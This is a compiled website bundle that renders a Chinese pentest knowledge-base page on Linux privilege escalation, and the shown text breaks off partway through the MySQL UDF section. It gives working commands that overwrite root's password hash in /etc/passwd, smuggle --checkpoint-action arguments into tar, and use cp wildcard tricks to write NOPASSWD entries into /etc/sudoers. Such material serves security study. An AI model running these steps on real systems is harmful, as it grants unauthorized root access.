e={img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...t.components};return(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-06-14 17:21:32"})]})})]})}function u(t={}){const{wrapper:e}={...(0,o.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/en/assets/js/63404b47.20cade81.js b/en/assets/js/63404b47.20cade81.js new file mode 100644 index 0000000..9df5b18 --- /dev/null +++ b/en/assets/js/63404b47.20cade81.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4443],{28453:(n,e,s)=>{s.d(e,{R:()=>d,x:()=>r});var l=s(96540);const i={},c=l.createContext(i);function d(n){const e=l.useContext(c);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:d(n.components),l.createElement(c.Provider,{value:e},n.children)}},85998:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>h,contentTitle:()=>r,default:()=>a,frontMatter:()=>d,metadata:()=>l,toc:()=>o});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/README","title":"Linux\u63d0\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/04.Linux\u63d0\u6743/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"k3s\u5b89\u88c5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/"},"next":{"title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177"}}');var i=s(74848),c=s(28453);const d={},r="Linux\u63d0\u6743",h={},o=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u57fa\u7840\u77e5\u8bc6",id:"\u57fa\u7840\u77e5\u8bc6",level:2},{value:"\u624b\u518c",id:"\u624b\u518c",level:3},{value:"\u7528\u6237\u548c\u6743\u9650",id:"\u7528\u6237\u548c\u6743\u9650",level:3},{value:"SUID \u548c SGID",id:"suid-\u548c-sgid",level:3},{value:"Linux Capabilities",id:"linux-capabilities",level:3},{value:"\u63d0\u6743\u65b9\u6cd5",id:"\u63d0\u6743\u65b9\u6cd5",level:2},{value:"SUID \u63d0\u6743",id:"suid-\u63d0\u6743",level:3},{value:"Linux \u5185\u6838\u6f0f\u6d1e",id:"linux-\u5185\u6838\u6f0f\u6d1e",level:3},{value:"Passwd\u63d0\u6743",id:"passwd\u63d0\u6743",level:3},{value:"Wildcard\u63d0\u6743",id:"wildcard\u63d0\u6743",level:3},{value:"Mysql UDF\u63d0\u6743",id:"mysql-udf\u63d0\u6743",level:3},{value:"Redis \u63d0\u6743",id:"redis-\u63d0\u6743",level:3},{value:"Capabilities \u63d0\u6743",id:"capabilities-\u63d0\u6743",level:3},{value:"Sudo \u63d0\u6743",id:"sudo-\u63d0\u6743",level:3},{value:"\u5185\u6838 \u63d0\u6743",id:"\u5185\u6838-\u63d0\u6743",level:3},{value:"\u810f\u725b \u63d0\u6743\uff08CVE-2016-5195\uff09",id:"\u810f\u725b-\u63d0\u6743cve-2016-5195",level:3},{value:"Polkit \u63d0\u6743\uff08CVE-2021-4034\uff09",id:"polkit-\u63d0\u6743cve-2021-4034",level:3},{value:"\u8ba1\u5212\u4efb\u52a1 \u63d0\u6743",id:"\u8ba1\u5212\u4efb\u52a1-\u63d0\u6743",level:3},{value:"Docker \u63d0\u6743",id:"docker-\u63d0\u6743",level:3},{value:"K8s \u63d0\u6743\uff08CVE-2018-1002105\uff09",id:"k8s-\u63d0\u6743cve-2018-1002105",level:3},{value:"LXD \u63d0\u6743",id:"lxd-\u63d0\u6743",level:3}];function x(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",hr:"hr",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"linux\u63d0\u6743",children:"Linux\u63d0\u6743"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"linux-\u63d0\u6743\u6587\u6863",children:"Linux \u63d0\u6743\u6587\u6863"}),"\n",(0,i.jsx)(e.p,{children:"Linux \u63d0\u6743\u662f\u6307\u901a\u8fc7\u591a\u79cd\u6280\u672f\u624b\u6bb5\uff0c\u5229\u7528\u7cfb\u7edf\u6f0f\u6d1e\u6216\u914d\u7f6e\u9519\u8bef\uff0c\u83b7\u53d6\u6bd4\u5f53\u524d\u7528\u6237\u6743\u9650\u66f4\u9ad8\u7684\u64cd\u4f5c\u6743\u9650\uff08\u901a\u5e38\u4e3a root \u6743\u9650\uff09\u3002\u672c\u6587\u8bb0\u5f55\u4e86\u5e38\u89c1\u7684 Linux \u63d0\u6743\u65b9\u5f0f\uff0c\u9002\u7528\u4e8e\u7cfb\u7edf\u5b89\u5168\u7814\u7a76\u3001\u6e17\u900f\u6d4b\u8bd5\u4ee5\u53ca\u63d0\u5347 Linux \u7cfb\u7edf\u7684\u5b89\u5168\u6027\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u6e17\u900f\u6d4b\u8bd5\u548c\u5b89\u5168\u5ba1\u8ba1\u8fc7\u7a0b\u4e2d\uff0c\u63d0\u6743\u662f\u4e00\u4e2a\u5e38\u89c1\u7684\u4efb\u52a1\u3002\u65e0\u8bba\u662f\u901a\u8fc7\u4e0d\u5f53\u914d\u7f6e\u3001\u6f0f\u6d1e\u5229\u7528\uff0c\u8fd8\u662f\u901a\u8fc7\u6ee5\u7528\u7cfb\u7edf\u6743\u9650\uff0c\u63d0\u6743\u90fd\u80fd\u8ba9\u653b\u51fb\u8005\u63d0\u5347\u5bf9\u76ee\u6807\u7cfb\u7edf\u7684\u63a7\u5236\u3002\u672c\u6587\u65e8\u5728\u4ecb\u7ecd\u5e38\u89c1\u7684 Linux \u63d0\u6743\u65b9\u5f0f\u4ee5\u53ca\u5982\u4f55\u9632\u8303\u8fd9\u4e9b\u653b\u51fb\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h2,{id:"\u57fa\u7840\u77e5\u8bc6",children:"\u57fa\u7840\u77e5\u8bc6"}),"\n",(0,i.jsx)(e.h3,{id:"\u624b\u518c",children:"\u624b\u518c"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:"https://gtfobins.github.io/",children:"GTFOBins"})}),"\n",(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:"https://man7.org/linux/man-pages/man7/capabilities.7.html",children:"capabilities(7) - Linux manual page"})}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"\u7528\u6237\u548c\u6743\u9650",children:"\u7528\u6237\u548c\u6743\u9650"}),"\n",(0,i.jsxs)(e.p,{children:["Linux \u7cfb\u7edf\u4f7f\u7528 ",(0,i.jsx)(e.strong,{children:"\u7528\u6237\uff08UID\uff09"})," \u548c ",(0,i.jsx)(e.strong,{children:"\u7ec4\uff08GID\uff09"})," \u6765\u7ba1\u7406\u4e0d\u540c\u7528\u6237\u7684\u6743\u9650\u3002\u6bcf\u4e2a\u6587\u4ef6\u548c\u76ee\u5f55\u90fd\u6709 ",(0,i.jsx)(e.strong,{children:"\u6240\u6709\u8005"})," \u548c ",(0,i.jsx)(e.strong,{children:"\u6743\u9650"}),"\uff08\u4f8b\u5982\uff1a",(0,i.jsx)(e.code,{children:"rwxr-xr-x"}),"\uff09\uff0c\u5e76\u4e14\u4f1a\u5b9a\u4e49\u5bf9\u6587\u4ef6\u7684\u8bfb\u53d6\u3001\u5199\u5165\u548c\u6267\u884c\u7684\u8bbf\u95ee\u63a7\u5236\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5e38\u89c1\u7684\u7528\u6237\u6743\u9650\u6709\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"r"}),"\uff1a\u8bfb\u53d6\u6743\u9650"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"w"}),"\uff1a\u5199\u5165\u6743\u9650"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"x"}),"\uff1a\u6267\u884c\u6743\u9650"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"suid-\u548c-sgid",children:"SUID \u548c SGID"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"SUID\uff08Set User ID\uff09"}),"\uff1a\u5f53\u4e00\u4e2a\u6587\u4ef6\u88ab\u8bbe\u7f6e\u4e86 SUID \u4f4d\u65f6\uff0c\u6267\u884c\u8be5\u6587\u4ef6\u7684\u7528\u6237\u5c06\u83b7\u5f97\u6587\u4ef6\u6240\u6709\u8005\u7684\u6743\u9650\uff0c\u800c\u4e0d\u4ec5\u4ec5\u662f\u5f53\u524d\u7528\u6237\u7684\u6743\u9650\u3002\u901a\u5e38\u7528\u4e8e\u7a0b\u5e8f\u9700\u8981\u7528 root \u6743\u9650\u6267\u884c\u7684\u60c5\u51b5\uff0c\u5982 ",(0,i.jsx)(e.code,{children:"ping"}),"\u3002"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"SGID\uff08Set Group ID\uff09"}),"\uff1a\u4e0e SUID \u7c7b\u4f3c\uff0c\u4f46\u5b83\u8ba9\u7a0b\u5e8f\u4ee5\u6587\u4ef6\u6240\u5c5e\u7ec4\u7684\u8eab\u4efd\u8fd0\u884c\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u67e5\u770b\u6587\u4ef6\u662f\u5426\u8bbe\u7f6e\u4e86 SUID/SGID\uff0c\u53ef\u4ee5\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"ls -l"})," \u547d\u4ee4\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"linux-capabilities",children:"Linux Capabilities"}),"\n",(0,i.jsxs)(e.p,{children:["Linux capabilities \u662f\u6bd4\u4f20\u7edf\u7684 root \u6743\u9650\u66f4\u7ec6\u7c92\u5ea6\u7684\u6743\u9650\u7ba1\u7406\u65b9\u5f0f\u3002\u901a\u8fc7 ",(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.code,{children:"setcap"})})," \u547d\u4ee4\uff0c\u53ef\u4ee5\u4e3a\u8fdb\u7a0b\u6216\u6587\u4ef6\u8bbe\u7f6e\u7279\u5b9a\u7684\u80fd\u529b\uff0c\u4f8b\u5982\u7f51\u7edc\u8bbf\u95ee\u3001\u6587\u4ef6\u7ba1\u7406\u7b49\uff0c\u800c\u4e0d\u9700\u8981\u5b8c\u5168\u7684 root \u6743\u9650\u3002"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.h2,{id:"\u63d0\u6743\u65b9\u6cd5",children:"\u63d0\u6743\u65b9\u6cd5"}),"\n",(0,i.jsx)(e.h3,{id:"suid-\u63d0\u6743",children:"SUID \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"SUID \u63d0\u6743\u662f\u6700\u5e38\u89c1\u7684\u63d0\u6743\u65b9\u5f0f\u4e4b\u4e00\u3002\u901a\u8fc7\u5229\u7528 SUID \u4f4d\uff0c\u7528\u6237\u53ef\u4ee5\u5728\u6267\u884c\u67d0\u4e9b\u7279\u6743\u547d\u4ee4\u65f6\u83b7\u53d6 root \u6743\u9650\u3002"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u67e5\u627e SUID \u6587\u4ef6"}),"\uff1a"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"find / -type f -perm -4000 2>/dev/null\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u5229\u7528 SUID \u63d0\u6743"}),"\uff1a\u5047\u8bbe ",(0,i.jsx)(e.code,{children:"find"})," \u5de5\u5177\u662f SUID \u6587\u4ef6\uff0c\u4e14\u5177\u6709\u6267\u884c ",(0,i.jsx)(e.code,{children:"root"})," \u6743\u9650\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u64cd\u63a7\u8be5\u5de5\u5177\u8fbe\u5230\u63d0\u6743\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"linux-\u5185\u6838\u6f0f\u6d1e",children:"Linux \u5185\u6838\u6f0f\u6d1e"}),"\n",(0,i.jsx)(e.p,{children:"\u5185\u6838\u6f0f\u6d1e\u53ef\u4ee5\u4e3a\u653b\u51fb\u8005\u63d0\u4f9b\u76f4\u63a5\u7684 root \u63d0\u6743\u3002\u901a\u8fc7\u5229\u7528\u7cfb\u7edf\u4e2d\u7684\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u6267\u884c\u7279\u5b9a\u7684\u6076\u610f\u4ee3\u7801\uff0c\u4ece\u800c\u83b7\u5f97\u5b8c\u6574\u7684 root \u6743\u9650\u3002"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u5e38\u89c1\u7684\u5185\u6838\u6f0f\u6d1e"}),"\uff1a\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Dirty COW \u6f0f\u6d1e"}),"\uff1a\u4e00\u4e2a\u8457\u540d\u7684\u5185\u6838\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u901a\u8fc7\u8be5\u6f0f\u6d1e\u53ef\u4ee5\u5728\u6ca1\u6709 root \u6743\u9650\u7684\u60c5\u51b5\u4e0b\u4fee\u6539\u5185\u6838\u5185\u5b58\u3002"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"Local Root Exploits"}),"\uff1a\u8bb8\u591a\u5185\u6838\u6f0f\u6d1e\u53ef\u4ee5\u8ba9\u672c\u5730\u7528\u6237\u901a\u8fc7\u63d0\u5347\u81ea\u5df1\u7684\u6743\u9650\u83b7\u5f97 root \u6743\u9650\u3002"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"passwd\u63d0\u6743",children:"Passwd\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"passwd \u6587\u4ef6\u63d0\u6743"})," \u662f\u901a\u8fc7\u7be1\u6539 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u6587\u4ef6\u4e2d\u7684\u67d0\u4e2a\u7528\u6237\uff08\u901a\u5e38\u662f root\uff09\u7684\u5bc6\u7801\u5b57\u6bb5\uff0c\u8fbe\u5230\u63d0\u6743\u76ee\u7684\u3002\u7531\u4e8e\u67d0\u4e9b\u7cfb\u7edf\u6216\u914d\u7f6e\u4e2d ",(0,i.jsx)(e.code,{children:"/etc/shadow"})," \u4e0d\u88ab\u4f7f\u7528\uff08\u6216 root \u4f7f\u7528\u7684\u662f passwd \u4e2d\u7684\u5bc6\u7801\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5c06 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u4e2d root \u7684\u5bc6\u7801\u5b57\u6bb5\u66ff\u6362\u4e3a\u4e00\u4e2a\u5df2\u77e5\u7684 hash\uff0c\u4ece\u800c\u4f7f\u7528 su \u63d0\u6743\u6210\u4e3a root\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u653b\u51fb\u6b65\u9aa4\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"\u9996\u5148\u751f\u6210\u4e00\u4e2a\u5df2\u77e5\u5bc6\u7801\u7684 hash\uff0c\u4f8b\u5982\u4f7f\u7528 openssl\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"openssl passwd -1 -salt xyz 123456\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8f93\u51fa\u793a\u4f8b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-swift",children:"$1$xyz$4zT7eWz8bszUOwhcGHM3E1\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\u7f16\u8f91 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u6587\u4ef6\uff0c\u5c06 root \u90a3\u4e00\u884c\u7684\u5bc6\u7801\u5b57\u6bb5\u66ff\u6362\u6210\u4e0a\u8ff0 hash\uff0c\u6bd4\u5982\u539f\u672c\u662f\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:"root:x:0:0:root:/root:/bin/bash\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u4fee\u6539\u4e3a\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-ruby",children:"root:$1$xyz$4zT7eWz8bszUOwhcGHM3E1:0:0:root:/root:/bin/bash\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4fdd\u5b58\u540e\uff0c\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"su"})," \u547d\u4ee4\u5207\u6362\u5230 root \u7528\u6237\uff0c\u5e76\u8f93\u5165\u4f60\u8bbe\u7f6e\u7684\u5bc6\u7801\uff08\u8fd9\u91cc\u662f 123456\uff09\u5373\u53ef\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u8be5\u65b9\u5f0f\u9700\u8981\u76ee\u6807\u7cfb\u7edf\u7684 ",(0,i.jsx)(e.code,{children:"/etc/passwd"})," \u53ef\u5199\uff0c\u901a\u5e38\u914d\u5408\u67d0\u4e9b\u63d0\u6743\u624b\u6bb5\uff08\u5982\u7a0b\u5e8f\u9519\u8bef\u8bbe\u7f6e\u4e86 ",(0,i.jsx)(e.code,{children:"passwd"})," \u4e3a 777\uff09\u4e00\u8d77\u4f7f\u7528\uff0c\u5c5e\u4e8e\u5178\u578b\u7684\u201c\u4f4e\u6743\u9650\u53ef\u5199\u654f\u611f\u914d\u7f6e\u6587\u4ef6\u201d\u7c7b\u578b\u7684\u63d0\u6743\u65b9\u5f0f\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"wildcard\u63d0\u6743",children:"Wildcard\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"wildcard \u901a\u914d\u7b26\u63d0\u6743"})," \u662f Linux \u63d0\u6743\u7684\u4e00\u79cd\u65b9\u5f0f\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u67d0\u4e9b\u547d\u4ee4\uff08\u5982 ",(0,i.jsx)(e.code,{children:"tar"}),"\u3001",(0,i.jsx)(e.code,{children:"cp"})," \u7b49\uff09\u5728\u5904\u7406\u5e26\u6709\u901a\u914d\u7b26 ",(0,i.jsx)(e.code,{children:"*"})," \u65f6\u4f1a\u89e3\u6790\u7279\u5b9a\u53c2\u6570\u6216\u884c\u4e3a\uff0c\u4ece\u800c\u6267\u884c\u6076\u610f\u547d\u4ee4\u6216\u64cd\u4f5c\u6587\u4ef6\u5b9e\u73b0\u63d0\u6743\u3002\u4f8b\u5982\uff0c\u5f53\u6709 ",(0,i.jsx)(e.code,{children:"sudo tar -cf archive.tar *"})," \u7684\u6743\u9650\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u7279\u6b8a\u53c2\u6570\u6587\u4ef6\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo \'echo pwned > /tmp/rooted\' > exploit.sh\nchmod +x exploit.sh\ntouch "--checkpoint=1"\ntouch "--checkpoint-action=exec=./exploit.sh"\nsudo tar -cf archive.tar *\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u6253\u5305\u65f6 ",(0,i.jsx)(e.code,{children:"tar"})," \u4f1a\u81ea\u52a8\u6267\u884c ",(0,i.jsx)(e.code,{children:"./exploit.sh"}),"\uff0c\u4ece\u800c\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u53e6\u4e00\u4e2a\u5e38\u89c1\u4f8b\u5b50\u662f ",(0,i.jsx)(e.code,{children:"cp"})," \u547d\u4ee4\u3002\u5f53\u5b58\u5728 ",(0,i.jsx)(e.code,{children:"sudo cp * /etc/"})," \u6743\u9650\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u9009\u9879\u6ce8\u5165\u548c\u76ee\u6807\u6587\u4ef6\u5b9e\u73b0\u63d0\u6743\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo \'youruser ALL=(ALL) NOPASSWD:ALL\' > sudoers\ntouch "--target-directory=/etc"\ntouch "--no-preserve=ownership"\nsudo cp * /etc/\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u53ef\u80fd\u5c06\u4f2a\u9020\u7684 ",(0,i.jsx)(e.code,{children:"sudoers"})," \u6587\u4ef6\u590d\u5236\u5230 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"}),"\uff0c\u5b9e\u73b0\u514d\u5bc6\u7801 sudo \u63d0\u6743\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd8\u53ef\u4ee5\u7ed3\u5408 ",(0,i.jsx)(e.code,{children:"cp -L"})," \u9009\u9879\u8fdb\u884c\u5229\u7528\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"ln -s /etc/sudoers link\necho 'youruser ALL=(ALL) NOPASSWD:ALL' > payload\nmv payload link\nsudo cp -L * /etc/\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7531\u4e8e ",(0,i.jsx)(e.code,{children:"-L"})," \u9009\u9879\u4f1a\u89e3\u5f15\u7528\u7b26\u53f7\u94fe\u63a5\uff0c",(0,i.jsx)(e.code,{children:"cp"})," \u4f1a\u5c06 payload \u7684\u5185\u5bb9\u5199\u5165 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"}),"\uff0c\u4ece\u800c\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"mysql-udf\u63d0\u6743",children:"Mysql UDF\u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:["MySQL UDF\u63d0\u6743\u5229\u7528\u7684\u662fMySQL\u6570\u636e\u5e93\u652f\u6301\u52a0\u8f7d\u7528\u6237\u81ea\u5b9a\u4e49\u51fd\u6570\uff08User Defined Function\uff09\u7684\u7279\u6027\u3002\u653b\u51fb\u8005\u901a\u8fc7\u4e0a\u4f20\u5e76\u52a0\u8f7d\u6076\u610f\u7f16\u8bd1\u597d\u7684\u5171\u4eab\u5e93\uff08",(0,i.jsx)(e.code,{children:".so"}),"\u6587\u4ef6\uff09\uff0c\u53ef\u4ee5\u5728\u6570\u636e\u5e93\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u7cfb\u7edf\u547d\u4ee4\uff0c\u4ece\u800c\u5b9e\u73b0\u672c\u5730\u63d0\u6743\uff0c\u751a\u81f3\u83b7\u5f97root\u6743\u9650\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u524d\u63d0\u6761\u4ef6\uff1a"})}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\u5141\u8bb8\u653b\u51fb\u8005\u62e5\u6709\u5bfc\u51fa\u6743\u9650\u3002\u67e5\u770b\u53ef\u5bfc\u51fa\u4f4d\u7f6e\uff0cMySQL\u7528\u6237\u62e5\u6709",(0,i.jsx)(e.code,{children:"FILE"}),"\u6743\u9650\uff0c\u53ef\u4ee5\u5c06\u4e0a\u4f20\u7684",(0,i.jsx)(e.code,{children:".so"}),"\u6587\u4ef6\u5199\u5165MySQL\u63d2\u4ef6\u76ee\u5f55\uff08\u5982",(0,i.jsx)(e.code,{children:"/usr/lib/mysql/plugin/"}),"\uff09"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sql",children:"show variables like '%secure%'\n"})}),"\n",(0,i.jsxs)(e.ol,{start:"2",children:["\n",(0,i.jsxs)(e.li,{children:["\u5177\u5907MySQL\u7528\u6237\u6743\u9650\u80fd\u591f\u6267\u884c",(0,i.jsx)(e.code,{children:"CREATE FUNCTION"}),"\u8bed\u53e5\uff0c\u52a0\u8f7d\u6076\u610f\u7684UDF\u5171\u4eab\u5e93\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u76ee\u6807MySQL\u670d\u52a1\u5668\u5141\u8bb8\u52a0\u8f7d\u5916\u90e8\u81ea\u5b9a\u4e49\u51fd\u6570\uff0c\u6ca1\u6709\u9650\u5236\u6216\u7981\u6b62\u8be5\u529f\u80fd\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u64cd\u4f5c\u7cfb\u7edf\u5c42\u9762\u5bf9MySQL\u8fdb\u7a0b\u7684\u6743\u9650\u9650\u5236\u4e0d\u4e25\u683c\uff0c\u6570\u636e\u5e93\u8fdb\u7a0b\u7528\u6237\u6709\u6743\u9650\u52a0\u8f7d\u5e76\u6267\u884c\u5171\u4eab\u5e93\u6587\u4ef6\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u653b\u51fb\u6b65\u9aa4\uff1a"})}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\u653b\u51fb\u8005\u51c6\u5907\u6076\u610fUDF\u6a21\u5757\u6587\u4ef6\uff08\u5982",(0,i.jsx)(e.code,{children:"lib_mysqludf_sys.so"}),"\uff09\uff0c\u901a\u8fc7",(0,i.jsx)(e.code,{children:"wget"}),"\u6216\u5176\u4ed6\u65b9\u5f0f\u4e0a\u4f20\u5230\u670d\u52a1\u